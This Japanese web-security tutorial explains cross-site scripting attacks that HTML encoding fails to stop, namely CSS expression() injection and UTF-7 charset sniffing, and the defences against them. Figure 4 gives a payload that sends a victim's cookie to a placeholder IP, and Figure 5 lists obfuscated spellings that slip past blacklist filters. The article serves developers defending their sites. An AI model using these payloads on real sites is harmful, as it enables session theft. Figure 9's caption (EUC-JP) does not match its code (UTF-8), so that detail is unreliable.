京セラコミュニケーションシステム
セキュリティ事業部 副事業部長
徳丸 浩(とくまる ひろし)
前回はクロスサイト・スクリプティングのぜい弱性を突く攻撃の対策としてのHTMLエンコードの有効性を述べた。ただ,HTMLエンコードだけではクロスサイト・スクリプティング攻撃を完全に防御することはできない。そこで今回は,HTMLエンコードで対処できないタイプのクロスサイト・スクリプティング攻撃の手口と,その対策について解説する。
HTMLエンコードで対処できない攻撃には,次のようなものがある。
注)<a href=""○○○○"">の○○○○を指定できるアプリケーションなどの場合
これらに該当する場合,IPAが発行している「安全なウェブサイトの作り方 改定第2版」などを参照して,十分な対策をとられたい。
HTMLタグやCSSの入力を許容するようなサイトでの注意
HTMLメールを許可するWebメールや,ブログなどWeb2.0系のサイトでは,HTMLタグやカスケーディング・スタイル・シート(CSS)の入力を許容しているものがある。このようなサイトは,タグ文字のエスケープという方法では対処できない。
「安全なウェブサイトの作り方 改定第2版」では,「HTML テキストの入力を許可する場合」として図1のような説明がある。
図1 「安全なウェブサイトの作り方 改定第2版」からの引用
(~略~) ■ 根本的解決 6) 入力されたHTML テキストから構文解析を作成し,スクリプトを含まない必要な要素のみを抽出する 解説 これはスクリプト埋め込みの原因を作らない実装です。入力されたHTML テキストに対して構文解析を行い,「ホワイトリスト方式」で許可する要素のみを抽出します。ただし,これには複雑なコーディングが要求され,処理に負荷がかかるといった影響もあるため,実装には十分な検討が必要です。 (~略~) |
行き届いた解説でまったく正しいのだが,問題は上記にある「ホワイトリスト方式」の実装が複雑になる点である。HTMLテキストやCSSの構文を解析する必要があり,そのプログラミングは一般のアプリケーション・プログラマには不慣れで荷が重い。このため現実のWebサイトでは,「危険な文字列」をパターン・マッチングにより抽出して削除する,あるいは害のない文字列に置換するような対策が行われている場合が多い。もちろん,対策が不十分であれば効果は薄い。事例を見てみよう。
CSS入力によるクロスサイト・スクリプティング
CSSはHTMLの見栄えを規定するひな形で,文書の構造と見栄えを分離することを目的として開発された。ブログなどでは,このCSSをブログ・オーナーが指定できる場合が多い。文書の内容だけでなく,見栄えについても細かく指定することにより,ブログ・オーナーの「独自のこだわり」を表現できるようになっている。
CSSのサンプルを図2に,その表示例を図3に示す。この例では,subject(タイトル),main(本文)という2種類のクラスを定義し,色をそれぞれ赤と青に指定している。こうしておけば,文書構造上,タイトルや本文の色,フォントなどを簡単に変更できる。ブログなどではタイトルと本文の組が一つの画面にいくつも表示されるので,簡便にスタイルを指定できるようになる。
図2 CSSのサンプル
<HTML> <HEAD><TITLE>CSSテスト</TITLE></HEAD> <STYLE type="text/css"> .subject { color: red; } /* subjectクラス */ .main { color: blue; } /* mainクラス */ </STYLE> <BODY> <P class=subject>これはタイトルです。</P> <P class=main>本文です。</P> </BODY> </HTML> |
![]() 図3 CSSサンプルの表示例 [画像のクリックで拡大表示] |
重要なのは,CSSにはJavaScriptを記述できる個所がいくつかあること。これは,CSSのセキュリティ上の注意点である。CSSに悪意のJavaScriptを仕掛けるとクロスサイト・スクリプティング攻撃が可能になるからだ。例えば,Internet Explorer(IE)には,expression()という独自拡張機能があり, .main { color: expression("gre" + "en"); } というようにすると,属性値の中にJavaScriptの式を記述できる。この例では,”green”という文字列を連結により生成する例を示した(式自体あまり意味はない)。
次に,expressionの引数を図4のように書き換えてみる(XXXの部分はIPアドレス)。この例では,cookieの値をGETパラメータとして伴って他のサイトに遷移するように記述してある。cookie値を盗み取ることができる。これがCSSにおけるXSSである。
図4 CSS中のクロスサイト・スクリプティング実行例
.main { color: expression(document.location= "http://XXX.XXX.XXX.XXX?"+document.cookie); } |
このような問題に対して,望ましい対処,すなわち「ホワイトリスト方式」の対応はこうだ。まず,入力されたCSSを構文解析して文書の構造を把握する。そして,JavaScriptなど以外の「安全な」要素のみで構成されているかどうかをチェックする。安全でない場合はエラーとする。
しかし前述のように,CSSの構文解析は複雑な処理が要求されるため,現実のブログ・サイトなどでは以下のような「ブラックリスト方式」での対策が行われる。ブラックリスト方式では,前述のexpressionのような「危険な」文字列に注目し,そのような文字列があった場合に以下のような対応をとる。
著名なブログ・サイトであるはてなダイアリーではクロスサイト・スクリプティング対策の実装ポリシーを公開しているが,これによると上記のB方式を採用している。ブラックリスト方式による実装例として貴重な資料であるので興味のある方は参照されたい。
はてなダイアリーの実装を見ると分かることだが,CSSのクロスサイト・スクリプティング対策は非常に複雑になっている。その理由の一つに,ブラウザのCSS解釈が非常に「柔軟に」なっていることがある。一例を挙げよう。図5の4行は,表現は異なるがすべて同じJavaScriptが実行される。最後のHTMLエンコードは,インライン・スタイルの場合のみ有効である。また,全角での指定は,IE7では動作しなくなった。
図5 expressionの記述例
.main { color: expr/* コメントの挿入 */ession("blue"); } .main { color: \0065xpression("blue"); } /* 16進コードポイント */ .main { color: expression("blue"); } /* 全角 */ <P style="{ color: expression('blue') }"> /* 実体参照 */ |
このように,ブラックリスト方式によるクロスサイト・スクリプティング対策はかなり厄介であり,かつ現在知られていない方法により対策が破られる可能性も否定できない。どうしても実装しなければならない場合は,極力安全サイドでの実装をお勧めする。一例として,CSSそのものを入力させるのではなく,色やフォント,サイズなどを画面から選択させるようにするなど,自由度を下げてしまうのも安全性を高めるためには有効である。
UTF-7を利用したクロスサイト・スクリプティング
クロスサイト・スクリプティングをめぐる話題の最後に,UTF-7を悪用した攻撃について紹介しよう。かつてGoogle.comや「Google Search Appliance」にこの種の脆弱性が報告され,話題になった(関連記事1:www.google.comにクロスサイト・スクリプティングのぜい弱性,米Watchfireが報告,関連記事2;「Google Search Appliance」にクロスサイト・スクリプティングの脆弱性)。
まず,UTF-7について説明しておこう。UTF-7はUnicodeの符号化方式の一種で,Unicodeを7ビット・アスキーで表現する。主に電子メールでの利用が想定されていたが,現在は非推奨とされている。通常めったに目にすることのない符号化方式だが,IE,Firefox,Operaといった主要なブラウザでは利用できる。UTF-7の基本的な考え方はこうだ。英数字と一部の記号,空白,水平タブ,改行はそのまま7ビット・アスキーで符号化。それ以外の文字は16ビットUnicode表現をBase64で符号化する。Base64部分の先頭に「+」,末尾に「-」を付与する。図6にUTF-7エンコードの例を示す。タグ文字(「<」,「>」)がBase64エンコードされているため,見かけ上タグ文字が存在しなくなる。
図6 UTF-7エンコードの例
エンコード前
UTF-7エンコード後
|
さて,UTF-7を利用したクロスサイト・スクリプティングの例を示そう。図7はアプリケーションのエラー表示専用のCGIであり,パラメータ(GET/POST)の値をHTMLエンコードして表示するだけである。
図7 エラー表示用のCGI
#!perl use CGI; my $cgi = new CGI; my $msg = $cgi->param('msg'); my $e_msg = $cgi->escapeHTML($msg); # HTMLエンコードする print <<END; Content-Type: text/html <HTML> <HEAD><TITLE>ERROR</TITLE></HEAD> <BODY> Error : $e_msg </BODY> </HTML> END |
HTMLエンコードしているので問題なさそうに見えるが,ここに先ほど示したUTF-7エンコードした文字列を入力してみる。すると,図8のような画面が表示され,JavaScriptが実行されたことがわかる。
![]() 図8 UTF-7エンコードによるクロスサイト・スクリプティング例 [画像のクリックで拡大表示] |
CGIスクリプト上ではHTMLエンコードが行われていたにも関わらずクロスサイト・スクリプティングのぜい弱性が混入したのは,想定している文字エンコーディングが異なるからである。元のCGIスクリプトは,文字エンコーディングが明示されていない。このためブラウザ側では,UTF-7に特有の「+」や「-」などから自動判定によりUTF-7と判定した。ところが,CGI上は他の文字コード(EUCなど)を想定しているため,正しく処理されなかったのである。
この問題に対応するには,文字エンコーディングを明示すればよい。図9に,文字エンコーディングとして「EUC-JP」を指定した例を示した。
図9 文字エンコーディングとしてEUC-JPを指定
……… print <<END; Content-Type: text/html; charset=UTF-8 <HTML> ……… |
![]() 図10 EUC-JPと正しく認識され正常な表示となる [画像のクリックで拡大表示] |
この場合の表示結果は図10のようになる。すなわち,UTF-7エンコーディングとしてではなく,通常のアスキー文字列として表示され,JavaScriptが起動されることもない。クロスサイト・スクリプティング対策のためだけではないが,Webアプリケーション開発の基本として,文字エンコーディングは忘れずに指定しておきたい。
【修正履歴】当初,図5の「expressionの記述例」の最後の例が/* HTMLエンコード */となっていましたが,誤りでしたので訂正しました。(4月17日) |